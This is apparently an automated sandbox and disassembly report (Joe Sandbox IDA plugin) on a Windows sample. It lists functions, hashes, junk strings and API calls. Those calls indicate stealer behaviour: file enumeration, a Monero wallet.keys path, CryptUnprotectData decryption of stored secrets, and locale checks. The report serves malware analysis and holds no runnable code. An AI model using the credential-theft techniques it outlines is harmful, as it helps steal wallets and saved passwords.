Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: fc0b1528939e15940ad31e4e760a42e33b86d6a76c8822562c61c3def5dded51
Instruction ID: c4343229ea82f5bf2f45980a02e8624ca2f182d97a5d3d05470710f4acc3376e
Opcode Fuzzy Hash: fc0b1528939e15940ad31e4e760a42e33b86d6a76c8822562c61c3def5dded51
Instruction Fuzzy Hash: 6B9123729101089BCB14FB71EC5AEED737DAB84304F40866CF91A96181FE349B4DDB92

Function 010851C6 Relevance: 12.8, Strings: 9, Instructions: 1581COMMON

Download Yara Rule

Strings

7wn, xrefs: 01085430
h1#, xrefs: 010854CA
vP)z, xrefs: 0108609B
*M/, xrefs: 010852FB
A4}, xrefs: 01085343
p!g}, xrefs: 01085505
CBo, xrefs: 0108602C
R}m, xrefs: 01085FBF
]$s, xrefs: 01085454

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: A4}$CBo$]$s$p!g}$vP)z$*M/$7wn$R}m$h1#
API String ID: 0-4248928686
Opcode ID: ddd2f22aa3e715035979eed07db9bbfebcb228b87ae539dbda9a3d32cab7f33f
Instruction ID: 4bec45ac911768d9acacdd08de0d2cf48d0371a70e63a0f631f993b304b89969
Opcode Fuzzy Hash: ddd2f22aa3e715035979eed07db9bbfebcb228b87ae539dbda9a3d32cab7f33f
Instruction Fuzzy Hash: 74B2E4F350C2049FE304AE29EC8567AFBE9EF94720F1A492DE6C5C3744EA3598418797

Function 00CC7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

GetKeyboardLayoutList.USER32(00000000,00000000,00CD05AF), ref: 00CC7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00CC7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00CC7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00CC7C62
LocalFree.KERNEL32(00000000), ref: 00CC7D22

Strings

/ , xrefs: 00CC7C7F

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a2d204d6e48159c1a324f444b796b0c4d740530db61cc4d3ae2ced20a39b01b5
Instruction ID: eba4617a347e9f676f943f643a1276f2b5c73ae4512939ec57481da4c860a768
Opcode Fuzzy Hash: a2d204d6e48159c1a324f444b796b0c4d740530db61cc4d3ae2ced20a39b01b5
Instruction Fuzzy Hash: BE413A7194021CABCB24DB95DC9DFEEB374FB44704F204299E50A66280DB742F89CFA1

Function 01088755 Relevance: 10.4, Strings: 7, Instructions: 1671COMMON

Download Yara Rule

Strings

R$vu, xrefs: 010893D3
ju, xrefs: 01088F1A
n, xrefs: 01088D08
nC+, xrefs: 010893A9
RPo, xrefs: 010893B9
%(O, xrefs: 01088C4B
:/=, xrefs: 0108893C

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %(O$:/=$R$vu$RPo$n$ju$nC+
API String ID: 0-2476655910
Opcode ID: 54bb480ce785f37dbb2d73d226a6c7fb1859d883cfa5ab3aff1c2feac49d68ae
Instruction ID: efb684b11ca9ba05430e89688a16e3a1d8d95f561471e7a25b78545c66b1b1d1
Opcode Fuzzy Hash: 54bb480ce785f37dbb2d73d226a6c7fb1859d883cfa5ab3aff1c2feac49d68ae
Instruction Fuzzy Hash: 1EB227F360C3049FE3046E6DEC8567AFBE9EF94620F1A453DEAC4C3744EA7598018696

Function 0107992C Relevance: 10.4, Strings: 7, Instructions: 1655COMMON

Download Yara Rule

Strings

G0gr, xrefs: 0107A373
/!~}, xrefs: 0107A63E
C@;/, xrefs: 01079B48
~Gw, xrefs: 0107A71F
`Jo, xrefs: 0107A423
Zk':, xrefs: 0107A9B2
aX<], xrefs: 01079B15

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /!~}$C@;/$G0gr$Zk':$`Jo$aX<]$~Gw
API String ID: 0-3339710154
Opcode ID: 090f488eb86893b5f5cb0ae194ff36796004f9da2179e073737575a70ee04b35
Instruction ID: 73baf3a04a33cc8c3fbb0459421528d5afdd4b2db7d5846e17c05feacb58022f
Opcode Fuzzy Hash: 090f488eb86893b5f5cb0ae194ff36796004f9da2179e073737575a70ee04b35
Instruction Fuzzy Hash: F1B24CF3A082049FE3046E2DEC8567AFBE9EFD4720F16863DEAC5C3744E63558058696

Function 00CBE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00CD0D73), ref: 00CBE4A2
StrCmpCA.SHLWAPI(?,00CD14F8), ref: 00CBE4F2
StrCmpCA.SHLWAPI(?,00CD14FC), ref: 00CBE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00CBEBDF

Strings

\*.*, xrefs: 00CBE44D

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 36564fc745d6e61cf70566970d55c48b75187dbf961e766e4ded1127bcff4d81
Instruction ID: b6aeec38fb58acfcc2f3af2631a142c554f748e0a99eb00e61f83728eb6cd1ac
Opcode Fuzzy Hash: 36564fc745d6e61cf70566970d55c48b75187dbf961e766e4ded1127bcff4d81
Instruction Fuzzy Hash: 23120C7191011C9BDB14FB61DC9AFED7338AF94304F4041ADE50AA6191EE346F4ADFA2

Function 01072E6B Relevance: 9.2, Strings: 6, Instructions: 1652COMMON

Download Yara Rule

Strings

v`}d, xrefs: 01073A1D
4{}, xrefs: 01073AD1
%-q, xrefs: 0107398A
]\7s, xrefs: 01073DB2
r1?-, xrefs: 010740C7
;1, xrefs: 01072F99

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %-q$4{}$]\7s$r1?-$v`}d$;1
API String ID: 0-3145308216
Opcode ID: afcaf484e71255cd8ea1f78bb3e02f1cf46249ba2d6e2bf430e1f76e352d3461
Instruction ID: 9c20341f7a4e442cb93df5143b98e20954d545bf80e11b337646e573d2e7529a
Opcode Fuzzy Hash: afcaf484e71255cd8ea1f78bb3e02f1cf46249ba2d6e2bf430e1f76e352d3461
Instruction Fuzzy Hash: 5DB209F360C2009FE3086E2DEC9577ABBE5EBD4320F1A463DEAC5C7744E93558058696

Function 0107CF78 Relevance: 9.0, Strings: 6, Instructions: 1493COMMON

Download Yara Rule

Strings

]~!, xrefs: 0107DF0D
y\]v, xrefs: 0107D729
&#g, xrefs: 0107D5F2
u)DK, xrefs: 0107D897
,ww, xrefs: 0107E012
B_, xrefs: 0107DAAF

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &#g$,ww$B_$]~!$u)DK$y\]v
API String ID: 0-472964207
Opcode ID: dd90b6177c85ee9477f05eb86428375a6c371f77f161138534ab200149a57d8b
Instruction ID: 717007ecc6047f894622dfa7f4f4e202fa3754aa5b04c8d2bed70706b48b7225
Opcode Fuzzy Hash: dd90b6177c85ee9477f05eb86428375a6c371f77f161138534ab200149a57d8b
Instruction Fuzzy Hash: A8A2E4F350C204AFE304AF29EC8566ABBE5EF94320F16893DE6C4C3744E63598558B97

Function 01077DD1 Relevance: 7.9, Strings: 5, Instructions: 1664COMMON

Download Yara Rule

Strings

DT~, xrefs: 010784DE
u_o, xrefs: 01078B1F
wz, xrefs: 01078484
I6pr, xrefs: 010783FF
Ar^], xrefs: 01078FC8

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Ar^]$DT~$I6pr$u_o$wz
API String ID: 0-414213122
Opcode ID: b9b8d0faf4fb03475ea4cc75882ef050ff19e0792ccc057fd142ad1c0041a72d
Instruction ID: b0a787fcd4e2c34c9868535774c049296941c809ae09f068ba6d91f9d23da957
Opcode Fuzzy Hash: b9b8d0faf4fb03475ea4cc75882ef050ff19e0792ccc057fd142ad1c0041a72d
Instruction Fuzzy Hash: 7AB228F3A0C2049FE704AE2DEC8567ABBE9EFD4320F1A453DEAC4C7744E63558058696

Function 01081E16 Relevance: 7.8, Strings: 5, Instructions: 1536COMMON

Download Yara Rule

Strings

gvT, xrefs: 01081F39
[+|, xrefs: 01082B91
[>3, xrefs: 010826E6
\46w, xrefs: 01082A5B
5>, xrefs: 01083053

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: [+|$[>3$\46w$gvT$5>
API String ID: 0-3837273054
Opcode ID: d6e80825482e31148da9ff8773bfb7b822dd425194b5cd9228f9aaf87497aea9
Instruction ID: 8eae7691d2f33825aded32b553790e38c78f6c12c13b85d7ae082bae81f23f7e
Opcode Fuzzy Hash: d6e80825482e31148da9ff8773bfb7b822dd425194b5cd9228f9aaf87497aea9
Instruction Fuzzy Hash: 5CA2E4F360C200AFE7046E2DEC8567AFBE9EF94620F1A493DE6C5C3344E63598158697

Function 00CBC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00CBC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00CBC87C
lstrcat.KERNEL32(?,00CD0B46), ref: 00CBC943
lstrcat.KERNEL32(?,00CD0B47), ref: 00CBC957
lstrcat.KERNEL32(?,00CD0B4E), ref: 00CBC978

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: f3c201fbaeffce78ba1b08aac37c6c5ed064e965b2f6bd50879349686eda100d
Instruction ID: 4ebd81cc1585916d1bdb48c1e7be763477e4959fc7e426b8d4ccedec6eaf699b
Opcode Fuzzy Hash: f3c201fbaeffce78ba1b08aac37c6c5ed064e965b2f6bd50879349686eda100d
Instruction Fuzzy Hash: C1416EB4D0421ADFDB10DF94DC89BFEB7B8AB88304F1441B9E509A6280D7745B84CF92

Function 00CB7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00CB724D
RtlAllocateHeap.NTDLL(00000000), ref: 00CB7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00CB7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00CB72A4
LocalFree.KERNEL32(?), ref: 00CB72AE

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: ffa812b27a2809c91ae4579033b509ac87451fde874f35e062e934f30d832b40
Instruction ID: 4f12fb486a61f2518cf415d36daf7f6a23bae60ea429c1c0375cf854396fdad6
Opcode Fuzzy Hash: ffa812b27a2809c91ae4579033b509ac87451fde874f35e062e934f30d832b40
